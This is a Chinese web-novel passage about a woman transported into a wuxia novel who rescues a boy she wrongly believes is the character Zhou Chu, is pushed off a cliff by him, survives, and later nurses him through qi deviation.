《拯救男二路上被反派追杀》 1. 就你叫周楚是吧 宋藏星睁开眼,视线尚未适应周遭的昏暗,浓烈的烧焦味先扑面而来,直直钻入鼻腔。 恍惚间,一柄锋利大刀已迎面劈来。 她本能向旁一扑,刀锋砸到地面,握刀的男人踉跄倒地。 就在这一刻,周围倏然静止,连漫天升腾的火星都凝在半空。 倒卖几本盗版,不至于受这种天谴吧! 宋藏星顾不得许多,拔腿跑到一处坍塌的房屋后。 【恭喜您成功进入武侠《雨花洗剑录》世界,当前剧情节点,少年周楚尚未黑化,救下他并引其走入正道,便可完成任务重返现实。】 雨花洗剑录??这名字怎么看都是在蹭热度。 宋藏星阅文无数,直接开门见山问:“我的金手指是?” 系统:【您掌握着本书的原结局与大事件发展走向……】 宋藏星举手打断:“可我没看过这本书啊。” 【作为书中最不起眼的npc,您静止时,拥有不易被人察觉的极低存在感。】 “可我没看过这本书啊。”宋藏星试图打断。 【任务已发放完毕,预祝您顺利完成任务。】 宋藏星愣住:“就不管死活硬走流程吗?好感度,黑化值暂且不说,任务完成标准也这么模糊吗?” 最关键的是,谁是周楚啊? 系统再无回应。 伴随着清泉落地般的叮咚声,停滞的时间开始流动。 宋藏星也顾不得骂,屏住呼吸环顾一圈。 夜色沉沉,笼罩着整座山顶,建在山巅的门派宅院早已陷入火海,浓烟滚滚冲天,烧焦的屋舍倾颓在地,遍地都是横七竖八的尸体。 厮杀声早已歇了,只剩两三个黑衣蒙面人提着刀,不紧不慢地走着,偶尔翻动尸体,补上一刀。 宋藏星缩身躲进一只木桶,透过桶盖缝隙往外看,眼下周楚肯定在哪个地方藏着。 半堵残墙后,没有,倒塌的房屋旁,也没有…… 远处传来瓦片坠地的碎裂声,她一哆嗦,视线本能地转向右边。 直直对上一双幽暗的眼睛,旁边木桶里居然也藏着人! 夜色太浓看不清模样,她压着狂跳的心,小心翼翼开口:“你是周楚吗?” 少年双手举着桶盖,一动不动地望着她,半晌才问:“你是谁?” 宋藏星连忙表态:“别管我是谁,我是来救你的,待会我带你下山。” 以防万一,宋藏星又问了一遍,少年迟疑一瞬,点了点头。 宋藏星当即从桶里跃出,低声道:“可能要委屈你一下。” 少年还没来得及反应,眼前顿时一黑。 宋藏星扣紧木桶,用力推倒,双手推着桶身在黑暗中狂奔。 迎面远远瞧见个人影,她立刻缩到倒塌的废墟旁,借着木桶遮掩自己。 那人目光扫过,竟真的没有发觉,径直走远。 宋藏星松口气正要起身,脚踝被一只手握住。 她低头一看,身后倒塌的门板下压着一个人,蓬头垢面,后背衣衫被血浸透,声音虚弱得像干涸的古井:“救……救救我。” “满员了,你赶下趟吧。” 宋藏星皱了皱眉,转身要走,却又停住。 她蹲下身挪开压在他身上的门板,从一旁扯下半截烧剩的幡旗胡乱盖在他身上,双手合十胡乱念了句,上帝保佑。 身后传来一声沉闷的咳嗽声,她没有回头,推着木桶溜之大吉。 此处位于山顶,院墙外正是陡峭下坡,木桶借势越滚越快,一路颠簸呼啸而下,宋藏星扶着桶身在后面跟着,步子也越来越快。 正值夏夜,耳畔凉风呼呼,宋藏星方才紧绷的神经得到放松,刚生出几分畅快,一不留神,木桶像一头脱缰的野驴,猛地甩开她的手,欢快地朝山下冲去。 “啊!!”她手底一空,拔腿就追,“等等我!” 她一路连滚带滑,裙摆被挂破,眼看木桶越跑越远,索性身子一蹲,顺着坡滑了下去。 咚的一声,脑门结结实实磕在桶壁上,木桶外头箍着两道铁圈,倒是一点没散架,她眼前直冒金星。 宋藏星捂着额头瘫坐在地,还好这半山腰地势减缓,要不然连人带桶都得飞出去! 她抬脚踢了踢桶壁,有气无力道:“安全了,可以出来了。” 木桶静悄悄,毫无回应。 别是被颠死了! 宋藏星连忙掀开桶盖,一颗脑袋猛地探出来,俯身便吐了她一身。 她当即就要破口大骂,抬眼却看清了少年模样,肤白如玉,眉目清俊,虽是满头冷汗,唇角还沾着秽物,可一看就是主角长相。 宋藏星忙将他半个身子拽出来,让他靠在自己肩头,用手背轻拍他的脸:“醒醒,醒醒!” 沈昭野只觉天晕地转,浑身骨头被磕得好似散了架,靠着她喘了好一会儿,才缓缓睁眼。 “这是哪儿?” 宋藏星再次确认道:“你是周楚吗?” 她左手揽着他的肩头,右手拿着的桶盖跃跃欲上,只要他摇头,立马给他拍回去。 沈昭野虚弱地应了声:“你都问好几遍了。” 宋藏星随手将桶盖扔到地上,一把抱住他,故作悲戚道: “好孩子,受苦了,我是你姑姑啊!” 沈昭野闭了闭眼,压下晕眩,稍稍推开她:“姑姑?” 宋藏星用力点头:“我叫宋藏星,和你爹是至交,特意赶来救你的。” 沈昭野迟疑了一下,低声问:“你认识我爹?” “当然!”宋藏星用力点头,“你只管信我,我不会害你。” 沈昭野看了眼山顶冲天火光,垂头乖巧道:“既如此,便有劳姑姑了。” “好说,好说。”宋藏星松了口气,这小孩看着也不大机灵。 半山腰终究不安全,两人稍作歇息,便准备离开。 沈昭野双手撑地试着站了站,又跌坐回去,抬眼看着她:“我的腿,使不上力。” 宋藏星咬咬牙,走到他面前蹲下:“上来吧,我背你。” 风吹着她单薄的轮廓微微晃动,沈昭野盯着那个背影,有些迟疑。 “上来啊,放心,背你绰绰有余。” 沈昭野伏上她的背,双手虚虚环在她颈前,不敢太用力,低声道了声谢。 凉风拂过,身前之人仍纹丝不动。 “姑姑?”他微微侧头。 宋藏星眉毛眼睛拧到一处,这孩子看着瘦,压在背上跟五指山一样,这会儿要是背不起来,她老脸往哪搁? 她深吸一口气,膝盖猛地一顶,刚迈出一步,整个人便向前扑去。 沈昭野直接从她背上滑落,嘭地一声结结实实摔回地上。 即便少年再能忍,也被摔得倒吸凉气,没忍住啊了一声。 宋藏星慌忙回身,只见他双手撑在身后,半仰在地,眼神带着恐惧。 “你真是来救我的吗?” 宋藏星抬手捂眼,不忍与他对视,“别急,别急,让我想想办法。” 她叉着腰四下张望。 左侧是密林,正前方是陡坡,右侧不远处是茂密的灌木丛。 “我先把你背到灌木丛那,等天亮再下山。” 她走到沈昭野面前,再次蹲下,短距离应当没问题,长距离再加陡坡,他俩得滚成屎壳郎。 “这次你抓紧我的脖子,别松手。” 沈昭野闭了闭眼,还是伏了上去,双臂紧紧环住她,身体也尽可能贴紧她的后背。 宋藏星双脚蹬地,稳稳将人背起,朝灌木丛走去。 拨开枝叶,她意外发现灌木丛后竟有一块从山壁伸出的天然石台。 石台尽头的山壁上裂开一个洞口,不大不小,刚好容人弯腰进入。 宋藏星将沈昭野 放下来,让他靠着一棵树干,伸手扶着他手臂:“有山洞,进去避一晚?明早再下山。” 沈昭野看了眼洞口:“先扔个石子试试,万一有狼,我们不是对手。” 宋藏星捡起一颗石子扔了进去,只听咚咚弹了两下,便再没声响。 “你还挺谨慎。”宋藏星一侧头,两人脸颊险些贴住。 沈昭野脊背挺了挺,稍稍拉开些距离。 宋藏星没在意,转身蹲下:“走吧。” 沈昭野伏上去,在身后伸手为她挡开头顶横生的枝条。 洞里比入口敞亮,地上散着枯草碎屑,勉强能蜷腿躺下,宋藏星将他放到地上,让他靠着山壁歇息。 洞里比入口敞亮得多,地上散着些枯草碎屑,勉强能蜷腿躺下。 宋藏星将沈昭野放到地上,让他靠着山壁歇息。 想起方才一路颠簸,她蹲到他身旁轻声问:“很疼吗?” 少年侧头看了她一眼,旋即移开视线,抿紧嘴唇,低低地嗯了一声。 就一个字,宋藏星便品出些许委屈和抱怨,她朝他挪了挪,故作坦然道:“得亏我及时赶到,要不然被他们抓住,指不定要怎么折磨你。” 沈昭野头也没抬:“这些伤都是方才下山时磕的。” 宋藏星微微一笑,只当没听见,俯身便要去看他的腿,沈昭野抬手挡住,两人四目相对,他又缓缓移开,别过脸去。 刚才那么折腾他,他没跑就不错了,这会儿闹点脾气也正常,宋藏星撩起他的裤脚,露出一截筋骨分明的小腿,几道旧疤淡得近乎肤色,此刻又添了新的淤青和划痕。 宋藏星避开伤处,掌心打圈揉着他的脚踝,状似随意地问道:“你们门派也不知得罪了谁,被人烧成这样?” 沈昭野轻轻嗯了一声。 嗯?就嗯?宋藏星手上动作没停,心里却犯起嘀咕,正常人这会儿不该破口大骂,问候仇家的八辈祖宗吗? 她轻咳一声,换了个方向:“你也别太难过,这种事谁也不想的,先别想着寻仇,活下去最重要。” 沈昭野淡淡道:“我都听姑姑的。” 实在太乖了,宋藏星抬手想摸摸他的脑袋,却被他偏头躲开。 宋藏星讪讪收回手,就算要攻略,眼下也得先知道他是什么身份,才能对症下药,在武侠里主角即便是个扫地僧也不奇怪。 “周楚啊,”她斟酌着开口,“你在门派里混得怎么样?” 宋藏星问完便开始惴惴不安,活像卧底游戏里抽到白板还要第一个发言的人。 沈昭野看了她一眼:“一直有在练剑,师兄师姐都很照顾我。” 练剑,有师兄师姐,那至少不是打杂的。 宋藏星心里稍定,顺着话头往下编:“练剑好啊,我记得你爹的剑术也,” 她故意拖长尾音,抬眼示意他往下接。 沈昭野眨眨眼:“我爹的剑术,怎么了?” 宋藏星含糊道:“嗯……就挺好的吧,我也记不太清了。” 沈昭野点点头,没再说话。 宋藏星面上微笑,心里叫苦,套点信息比瞎子过河还难。 盛夏深山昼夜温差极大,两人衣衫各有破损,沈昭野又浑身是伤,若是再受寒风侵袭,怕是要冻成僵硬的猫。 宋藏星脱下自己的外袍,叠成四方形,垫在他腿下。 沈昭野盯着她的手,白净,指节不粗,不像握过剑的手。 她忽然抬眸看过来,他来不及移开目光,两人视线撞个正着。 他先别过脸。 宋藏星起身道:“我出去寻些干草,你在这儿等我。” 沈昭野回过神,轻轻颌首:“姑姑小心。” 盯着她背影消失在洞口,他才缓缓吐出一口气。 沈昭野从怀里摸出一本蓝皮经书,借着洞口漏下的月光,第一次看清封皮上的字。 挽月心经。 2. 少年恶蛟初抬头 也不知那些黑衣人会不会半夜搜山,宋藏星不敢走远,只在洞口附近摸索,耳朵警惕着林间的动静。 石台侧有条小径通往密林。她沿路走去,脚下铺满枯干的蕨叶,踩上去沙沙作响。这叶子正好铺在地上隔潮,宋藏星撩起裙摆往腰间一系,兜成个简易布兜,俯身拢了几把枯草塞进去。 顺着小径再走几步,便听见细细的水流声,她拨开枝叶,一条山涧从石缝间淌出,水清得能看见底下圆润的卵石。 她蹲下仔细看了看,终究是敢喝,谁知道这破设定完不完善,万一喝了闹肚子,连张厕纸都没有。 她站起身,抬眼环顾,瞥见一旁矮灌木丛上,挂着一串串深红的野果,顿时眼前一亮,顺手摘了小半兜。 宋藏星抱着干草与野果,转身返回山洞。 “好歹有些收获!”她将野果往地上一倒,随即蹙眉,“就是不知道有没有毒。” 沈昭野随手捏起一颗:“这是野桑葚,能吃。”他将果子凑到鼻尖轻嗅,“旁边应当还长着薄荷,摘些洒在洞口,能避蚊虫。” 宋藏星正忙着铺干草,抬头看他:“年纪不大,懂得不少。” 沈昭野偏过头,嘴角微微上扬,没接话。 宋藏星手脚麻利地铺好干草,又出去摘了薄荷叶,从洞口沿着石壁撒了一圈,又在洞口叠放了些干草做遮掩。 一切收拾妥当,她拍了拍手上的草屑,坐到他身边,双手往后一撑,仰起脸看他,一副邀功的模样。 沈昭野疑惑道:“需要我做什么吗?” 宋藏星挫败地垂下眼,悻悻坐了回去。 沈昭野目光落到别处,不知在想些什么。 一缕月光从洞口斜落,他的侧脸在洞壁上投下一片阴影,轮廓起伏,如群山倒卧。 “姑姑。”他忽然开口。 “嗯?”宋藏星忙收回目光,声音也变得柔和。 “有水吗?” 宋藏星忙直起身:“有倒是有,就是不知道能不能喝。眼下也不宜生火。” 沈昭野言简意赅:“这里的山泉都能喝,劳烦姑姑了。” 宋藏星微笑:“我这就去。” 什么拯救男二的救世主,分明是来做免费保姆。 …… 本以为沈昭野的腿只是简单扭伤,谁知第二天肿得更厉害,别说走路,即便坐着都隐隐作痛。 他大概是怕拖后腿,态度温和了许多,说话也乖巧起来,还会主动告诉她哪些野果能吃,哪些草药可以疗伤。 人在受伤时最缺乏安全感,宋藏星自然不会放过这个机会,每日寻来干净的野果给他充饥,用树叶盛着清水喂到他嘴边,见他腿肿得厉害,就按他说的法子采来草药敷上。 两人就这样蜷缩在狭小的山洞里,相依着度过了整整五日。 沈昭野的腿终于渐渐消了肿,能开始走路了。 他靠着洞壁,垂眸看着自己的伤腿,余光落在不远处整理野果的宋藏星身上。 这女人对他如此上心,按理说该与周楚很是熟悉,可她从头到尾都没怀疑过他的身份,说话也支支吾吾,前言不搭后语。 起初他以为是在试探自己,可这几日相处下来怎么看都像是心虚。 沈昭野抬手按住胸口那本心经。 他本是个居无定所的流浪儿,听说瑶光门办夜游宴,便想着溜进来偷些值钱的物件,却意外闯入一间祠堂,听到门主与人谈话,得知了挽月心经的藏处。 偏在那时,黑衣人杀上山门,那两人匆匆提剑而去,他趁乱偷出心经,躲进了后院空桶。 南明离洲人人崇尚剑道,可世家门派要么看家世,要么看天赋,偏偏他两样都不沾,连入门学剑的资格都没有。 这本心经是他唯一的机会,若能修成,通过剑修试炼,往后便不必再过偷鸡摸狗的日子。 瑶光门上下,大概无人生还,就算真有周楚这个人,怕也是刀下亡魂了。 他摊开掌心,又缓缓握紧,生死有命,怪不得旁人。 …… 日间两人在山洞歇息。 沈昭野随手捡起地上的浆果:“以前爹爹常带我来这边采摘山果,他最喜欢吃这种酸果子。” 宋藏星正盘算着下山后如何生活,冷不丁听到这么一句,忙笑着点头:“对对,他是挺爱吃酸的。” 沈昭野嗯了一声,抬手将浆果丢进嘴里,没再说话。 “周楚。”宋藏星忽然表情凝重。 “嗯?” “咱俩可得好好活下去。” “好。” “那你有银子吗?”宋藏星方才才发现自己身上竟是半个铜板也没有,这世上没有比她更惨的穿书人了。 沈昭野并未迟疑,从怀里摸出仅剩的三枚铜板,递到她面前。 “就这些,都给姑姑好了。” 宋藏星盯着那三枚铜板,流下两行热泪。 沈昭野一怔,嘴唇微动还未开口。 宋藏星嘴里不知骂了句什么,起身就往外走。 一出山洞,宋藏星就开始亲切问候系统。 在现实世界她拼死拼活打工,为几斗米点头哈腰也就算了,如今穿书闯荡江湖了居然还要为钱犯难,怎么到哪儿都躲不开穷日子! 往日那些穿书的主角哪个不是身怀绝技的专业大佬,她一个靠贩卖盗版书起家的废物能派上什么用场? 没看过原著就算了,连个像样的金手指都没有,不用等周楚黑化,她先一头撞死好了。 “姑姑。” 身后传来一声轻唤,宋藏星转身,沈昭野不知何时站在了洞口,神情有些无措:“我是不是说错话了?” 宋藏星心下一软,忙上前:“没有啊,我只是在想下山后的事。” 沈昭野将铜板塞到她手里:“跑得太急身上只有这几个铜板,等我伤好了也能赚钱,姑姑不必担心。” 宋藏星将铜板推了回去,“你自己拿着就好。” 三个铜板她眼都不带眨的,但客套话还是要说。 “你有这份心,姑姑就很开心了,今日感觉如何,总在山上也不是个办法,还得找个大夫给你看看。” 这五天顿顿靠野果饱腹,她嘴里都要淡出个鸟来。 沈昭野道:“已经好很多了,只是还有些疼,不如明日下山?” 宋藏星点点头,这几日也没见到黑衣人,她打算一会儿往远处走走,这附近的果子都被她薅秃了。 沈昭野想要同她一起,宋藏星怕他再有什么闪失,让他先回洞歇息。 “那姑姑小心。”沈昭野表情认真道,“这山上有野狼出没。” 宋藏星笑容僵住,还有狼啊。 她咽了咽口水,强装镇定道:“放心,我不会去太远。” 见他这样关心自己,宋藏星不由得叹口气,这孩子其实不坏,只是命苦,她甚至在想,他日后走上歪路,是不是原著男女主太不做人,毕竟男二一般身世都挺惨的。 她伸手便要去摸他的脑袋,沈昭野下意识想躲,还是乖乖低头,任由她揉了揉发顶。 宋藏星摸着他的头发,暗自下定决心,不管如何,先将人养大再说,活人还能让尿憋死? …… 宋藏星一路小心翼翼,蹲着身子边走边四处张望。 说来也奇怪,这么大个门派被灭门也不见官府出面,山顶的大火早已熄灭,远远看去只剩漆黑一片,整座山都静悄悄的,透着一丝诡异。 也不知门板下那人活下来没有,宋藏星突然想到了他。 以前看穿书时,她总觉得主角太过优柔寡断,放着任务不做,总被无关紧要的人牵绊,看得她又急又气,可真轮到自己亲身站在这里才明白,面对眼前这些活生生的人根本做不到看书时那般无动于衷。 算了,眼下她只要对周 楚负责就好。 她收回目光,专心寻着山果,功夫不负有心人,让她在峭壁边发现了几株龙葵,紫黑色的浆果挂得满满当当。 她记得这东西不光果实能吃,全草都能入药,还能治跌打损伤。 宋藏星对植物一点也不了解,完全是因为小时候喜欢的游戏角色就叫龙葵,她当时好奇去查了资料,没想到在这儿派上用场。 她把浆果尽数摘下,又掐了几株嫩叶,准备回去捣烂了给周楚敷上。 回到山洞,却发现他蜷在干草上睡着了,这几日都是他主动守后半夜,确实辛苦些。 她放轻脚步,蹲到他身旁。 沈昭野睡得极不安稳,即便昏睡着,眉头也依旧紧蹙,整个人蜷缩成一团,双臂牢牢抱在胸口。 天热闷燥,他额间沁出的薄汗沾湿了碎发,一缕缕贴在皮肤上,看着都觉得黏腻。 一股酸腐的汗味飘过来,宋藏星皱了皱眉,下意识抬手闻了闻自己腋下,脸顿时皱成一团,这大热天,两人在山洞里窝了五天都没洗漱,就是神仙也得变成小邋遢。 她起身想去盛些清水给他擦擦脸,身子刚动,沈昭野无意识地翻了个身,衣襟微松,一抹藏在怀中的蓝色布角,露了出来。 怪不得睡得不安稳,这么大一本书不硌得慌才怪,宋藏星伸手想要将书抽出,刚捏住书角。 眼前紧闭的双眼猛然睁开,一动不动地盯着她。 宋藏星僵住,手指还捏着书角,进退不是。 “……你醒了?要不要吃些野果,我今日找到些新果子。” 沈昭野没动,就那么盯着她,目光一点点从她脸上移到她捏着书角的手指上。 宋藏星讪讪松开手,下意识向后一仰,解释道: “方才你的书掉出来,我怕你不舒服想着拿出来......” 宋藏星见他一直盯着自己,又补了句:“我没看。” 沈昭野眼眸微动,莞尔道:“只是一本心经,姑姑若是喜欢,拿去便是。” 宋藏星忙摆手:“不用,不用,这是你的东西,你留着就好。” 这玩意儿又不能当饭吃,给了她净添麻烦。 沈昭野点点头,目光落到她带来的龙葵果上。 宋藏星忙捧起一把递到他面前,眉眼微扬:“这个,可以吃。” 沈昭野伸手捏了一颗放到嘴中,轻轻一咬,汁水在齿间溢出甜味。 他点点头:“好吃,姑姑从哪儿寻来的?” 宋藏星松了口气,只当方才的寒意是错觉,抬手一指:“就在附近一处断崖,”她将采来的嫩叶也一并拨到身前,“它的叶子能治跌打损伤,我也顺手摘了些。” 总算有一件自己懂的事,宋藏星说得眉飞色舞。 沈昭野却蹙眉道:“其实它的根部入药会更好些,不过,”他笑道,“这样已经很好了,多谢姑姑。” 宋藏星起身道:“你等着,我这就给你连根拔来。” 沈昭野忽地伸手拉住她,抬头道:“我同姑姑一起。” 宋藏星一怔,瞥向他握住自己手腕的手,飞快地眨眨眼,试图压制住上扬的嘴角。 这几日又是四处奔波又是嘘寒问暖,总算没有白费,这可是他第一次主动碰她。 她笑着应下:“好啊,就是有些远,你要是不舒服就同我讲。” 怕周楚望见山顶,触景生情,宋藏星特意避开旧路,挑了条隐蔽小路。 两人来到悬崖边,宋藏星指着那片龙葵草:“就在那儿,你等着,我去拔几株。” “好。” 沈昭野站在原地,静静看着她沿着崖边,慢慢挪到险处。 宋藏星弯腰,一把攥住龙葵的根茎。 身后忽然传来一声轻唤:“姑姑当心。” 她刚要回头,后背便被人用力一推。 翠绿的植株尚在崖边摇晃,人却已坠向崖底。 3. 道高一尺魔投降 她大概,是真的死了。 宋藏星眼前一片混沌,仅剩疼痛吊着思绪。 从那么高的悬崖被人推下,就算武侠世界不讲物理法则,她也很难活下去。 可为什么还能感到钻心的疼?死了也会有痛觉吗? 她不明白,也不甘心。 两人相处不过七天,她自问尽心尽力,就差把心掏出来给他,到底是哪里出了差错? 总不会是那本书?眼皮越来越沉,也不知道死后会被带去哪里? 手指忽然传来一阵刺痛,像是被咬了一口。 宋藏星猛地睁眼,身下是松软草地,头顶高悬的烈日晃得她睁不开眼。 没死?这么高摔下来居然没死! 没等她松口气,余光便瞥见一只灰狼正沿着她的身体低伏徘徊,獠牙还泛着诡异的光。 宋藏星当即就要逃走,身体却只回应了她剧痛,她用尽全力,浑身上下能听使唤的,就只剩几根手指。 灰狼看到她睁开眼,喉咙发出低低的吼声。 宋藏星用力闭上眼,不敢再看。 “罡风,退下。” 救她的,是一位云游僧人,法号观南,暂居山下白溪村的药庐,罡风是他数月前救下的一匹母狼。 也算运气好,此处山壁凹凸,她恰好落到崖间一横生处,这才捡回一条命,只是断了根肋骨。 宋藏星在床上一躺便是一个多月,前半个月,翻身都疼得打颤,起身方便也要邻居大娘帮忙递尿盆。 村里人听说观南师父捡回个落难姑娘,三三两两地过来探望,捎几把青菜,几个粗粮馍馍,算是一片心意。 可宋藏星只感到前所未有的丢人,自己好像一只绑在案板上任人宰割的猪。 这里没有麻药,也没有消炎药,骨头断裂的疼和炎症引起的高烧不退,都只能硬生生挨着。 每当筋骨刺痛,辗转难眠时,隔壁总会传来低缓的诵经声,起初像蚊子嗡嗡一样烦人,听久了身上的痛感竟随之减轻,心绪也跟着安宁下来。 观南每日除了定时来为她诊脉疗伤,从不刻意打扰,也不过问她的来历。 宋藏星倒真想他多问一句,毕竟她一肚子怨气无处发也实在是憋闷。 窗外晾晒着药草,时常会有鸟儿驻足,她日日侧头盯着那鸟儿来了又去,去了又来。 她想到自己养的一只虎皮鹦鹉。 那鹦鹉是自己飞到阳台的,刚来时特别怕人,手还没伸出去,嘴就啄了上来,她天天用手喂食,时不时同它说话,慢慢也就亲近了,还会主动落在她肩头。 宋藏星嘴巴一抿,屋顶的竹梁变得模糊,她紧紧闭上眼,再睁开时,心里只剩一个念头。 无论如何,她都要回家。 一个月后,宋藏星终于能起身,慢慢走动。 她正暗自思忖,接下来该去哪里寻周楚,门外忽然传来一阵急促脚步声。 是隔壁的王猎户,他常年上山打猎,偶尔会拿山菌,兽皮来和观南换些治伤的药,宋藏星前几日又发高烧,多亏他上山采来的灵芝。 此刻他背着一人,声音焦急:“观南师父!您快给瞧瞧,这人还能不能活?就撂在山道上,咋叫都不应,我摸了一把,还有口气儿!” 观南抬眼一看,那少年面色泛青,唇色发紫,当即示意他先背进屋。 宋藏星恰在这时,从内室掀帘探出头,一眼便认出,背上那个像霜打茄子似的少年,正是周楚。 “藏星?” 观南轻唤一声,宋藏星忙回过神让出门口。 王猎户把人放到竹床上,观南轻声打发他先回去,自己坐到床边,指尖搭上少年腕间,这才看向宋藏星:“你认识他?” 宋藏星盯着昏迷的少年,低声问:“他这是怎么了?” 观南收回手,起身道:“体内真气乱窜,经脉堵塞,应是走火入魔所致。” 宋藏星想起那本心经,暗骂一句活该,可他又不能死,只得问道:“还有救吗?” 观南道:“救是能救,只是,”他抬眼看向宋藏星,“内功心法各门有各门的修行秘诀,循序渐进不会出事,要么他是根基不稳急于求成,要么便是偷学了旁人的心法,若是后者,我不救。” 定是他心性浮躁,急着想去复仇,才铤而走险,合着自己那几天心理疏导一点用也没有。 宋藏星摇头道:“他不是偷学。” 观南收回目光,不再多问,让她先去屋外等着。 ...... 沈昭野将人推下去后,手没有半点颤抖,更不曾低头望向崖下一眼。 她根本不认识周楚。 什么特意来救他的姑姑,她图的从头到尾就只有挽月心经。 想来那日在祠堂偷听的人,不止他一个,她知道心经在自己身上,才刻意装出那副亲近模样。 那些讨好和迁就,和当初杨老头递来的馒头没什么两样。 推她下去,是最正确的选择。 回山洞路上,他走了另一条路,这条明明更近,她却非要带着他绕远。 他抬眼看山顶,残破的瑶光门沉默地立在那里。 耳畔又响起她细碎的话。 “你要是想哭就哭出来,千万别觉得丢人,这没什么,不需要忍耐。” “你今日心情如何?有没有做噩梦?” ……她是怕他想不开?所以才绕路? 沈昭野垂下眼,人都死了,想这些还有什么用。 他冷着脸回了山洞。 沈昭野盘膝而坐,摊开挽月心经,这心法只有口诀,没有人点拨,每一步都得自己摸索,目光扫过旁边散落的龙葵果。 他鬼使神差地捏起一颗塞进嘴里,酸涩在舌尖弥漫,当即皱眉吐了出来。 等回过神时,才发觉自己竟对着石壁发了半天的呆,心经还停留在第一页。 他用力合上经书,走到山洞外空旷处,从头修炼。 起初还算顺利,可没过多久,那个女人的影子又冒出来。 山洞里,她蹲在他面前,歪着头问他,今日心情如何,日光从洞口斜进来,落在她肩膀上。 难道真是自己误会了?他猛地掐断这个念头,管她是不是误会,人已经推下去了,可那些画面总是不请自来。今天压下去,明天又浮上来。 日复一日,他反复与这些记忆较劲,修炼断断续续,进度越来越慢。 一个月过去,修为仍卡在第一层,再无寸进。 他越是逼自己静心,那些杂念就缠得越紧,一股真气逆流而上,他失去了意识。 再次睁开眼,一张脸近在咫尺。 “怎么还不醒?” 视线慢慢聚焦,那张脸逐渐变得清晰又熟悉。 他看着她,没什么表情,只是呼吸微乱。 曾听说书先生讲过,世间万法,皆循因果,你若夺人性命,等你死后那人便会化作影子,拖你坠入十八层地狱。 可她没有扑过来,只是歪着头看他。 沈昭野望着她,竟松了口气。 “还好不是杨老头。” 宋藏星本想等他醒了吓他一跳,结果他看见自己,眼都没眨一下,真是狼心狗肺,她没好气道:“杨老头是谁?” “我杀的第一个人。” 宋藏星咽了咽口水,还是让观南大师在旁稳妥些,起身便要往外走。 手腕被沈昭野伸手拉住,“你要去哪儿?” “去找大夫。”宋藏星将手抽出来,不动声色地后退一步。 沈昭野手仍悬在半空:“你不带我下地狱?” 宋藏星脸一抽:“想下自己下,我就不奉陪了。” 沈昭野这才注意到周围,一间简陋的竹屋,桌上放着茶杯,窗外有光。 “你没死?” 宋藏星顺势坐下,端起茶杯慢悠悠送到嘴边,抿了一口,苦得她连忙放下。 她清了清嗓子,强装镇定道:“当然,很意外 吧?是不是很想知道?” 沈昭野别过头:“想杀就杀。” 宋藏星腾地起身:“你就没什么想同我说的?” “没有。” 宋藏星气得手指都在发抖:“你问都不问就把我推下悬崖,你就不觉得亏心?” “那你呢?”沈昭野开口截住她的话头,“你就问心无愧?” 宋藏星咬牙:“当然!别以为我不知道,你觉得我图你那本破心经!” 沈昭野没说话,眼神闪了一下。 “我根本不稀罕!”宋藏星越说越气,“小人之心!” “那你想要什么?”沈昭野盯着她,“我不信你毫无所求。” 宋藏星一噎。 两人对视半晌,她先移开视线,转身从桌上端起药碗递过去:“先把药喝了再说。” 沈昭野起身瞥了眼:“药里下了毒?” “我加了鸟屎。”宋藏星面带微笑。 沈昭野抿着嘴,药碗已经递到脸前。 “观南大师说了,你醒了得先喝下这副调理气息的药,要不然会很难受。” 沈昭野低头看了眼乌黑乌黑的药碗,蹙眉道:“你不如直接杀了我——” 话没说完,宋藏星抬手按住他的头,碗往他嘴边一送,灌了进去。 沈昭野来不及挣扎,一股刺鼻的液体直冲喉头,呛得他连咳了好几声。 “再不喝等死吧!” 沈昭野擦了擦嘴角的药渍,脸都咳红了,声音里带着恼意:“我就知道你那些天的温柔都是装的!” 宋藏星眯起眼:“你倒会说我。我可没有把救命恩人推下悬崖。” 沈昭野不吭声。 宋藏星抬手在他头顶悬了一下,还是收了回去:“很疼的!换别人早把你大卸八块喂狼了。” 沈昭野垂着头,许久才低低应了一声:“……我知道。” 看他这副模样,宋藏星那颗圣母心又开始作祟,他要是性格温顺,还用得着她来拯救?为了回家,她忍了。 “我再说一遍,你那本心经我没兴趣,也不会害你,眼下你又没处去,说不定那些黑衣人还在找你。” 她居高临下地看着他,“报仇也好,练剑也罢,我都会陪着你,你愿不愿意同我一起?” “不愿意。” 宋藏星僵住,拒绝得连个磕巴都不打,她话都说到这份上了,还不够诚心? “就算没有你,这些事,我自己一样能做,凭什么非得跟你一起?” 宋藏星居然被他说服了,闭眼按捺住想打人的冲动:“你眼下感觉如何?” 沈昭野点头道:“好多了。” 宋藏星让开门口,努了努嘴:“那请吧,既然你想走我也不拦着。” 沈昭野看了她一眼,翻身下床,走到她身边时又停住脚步,自怀里摸出一枚铜板:“这次算我欠你的,日后等我成为剑修,能力范围之内,我帮你做一件事。” 小小年纪就会画大饼了,宋藏星没有接,“你不是有三枚吗?” 沈昭野一怔:“我总得给自己留点。” 果然上次说什么全给姑姑,也是在卖惨装乖。 宋藏星笑道:“我救了你两次,你推了我一次,怎么也得三件事吧?” 沈昭野愕然,盯着她看了看,嫌弃地将三枚铜板全拍进她手里:“都给你,别想让我为你去死。” 宋藏星也不扭捏,将铜板塞到怀里,“夜里山路可不好走,你不怕?” 沈昭野面色坦然:“男子汉大丈夫有什么好怕的。” 宋藏星眉头一挑:“不送。” 沈昭野见她如此爽快,微微皱眉还是向外走去。 宋藏星坐回竹床,双手撑着床沿,好整以暇地看着门口。 不过刹那,人影折返。 “我还是明日再走吧。” “怎么了,我们的男子汉?” 沈昭野双手紧握衣角,不自然道:“院里有只狼。” 4.小孩心思你别猜 宋藏星轻笑一声:“杀人都不怕还怕狼啊。” 沈昭野道:“我又打不过它。”见她嘴角还挂着笑,又补了一句,“我明日一早就走。” “要不这样,”宋藏星摸出一枚铜板:“我用这枚铜板换你留下来养伤,如何?” “你就这么浪费了一枚铜板?”沈昭野蹙眉。 宋藏星觉得好笑又无奈:“你以为你是神雕大侠?小小年纪能为我做什么事,你就说答不答应?” 沈昭野伸手夺过那枚铜板:“别后悔。” 宋藏星拍拍他的肩膀:“好好休息。” 出了门,她的脸色立刻拉了下来,要不是为了回家,她现在就去官府告他个杀人未遂。 走了两步,她又忍不住回头看了一眼虚掩的竹门,这人怎么一点悔意都没有? 宋藏星一走,屋内霎时静了下来。 沈昭野坐到桌前,单手拨动着那枚铜板,铜板在桌面上转了两圈,叮的一声倒了下去。 时间久了迟早会露馅,等伤好了,他就离开。 次日清晨,观南做好了早饭,见沈昭野衣衫破旧,便先递了件换洗衣袍过去。 沈昭野双手接过,放到一旁的空凳上,低声道:“多谢大师。” 观南轻轻点了下头。 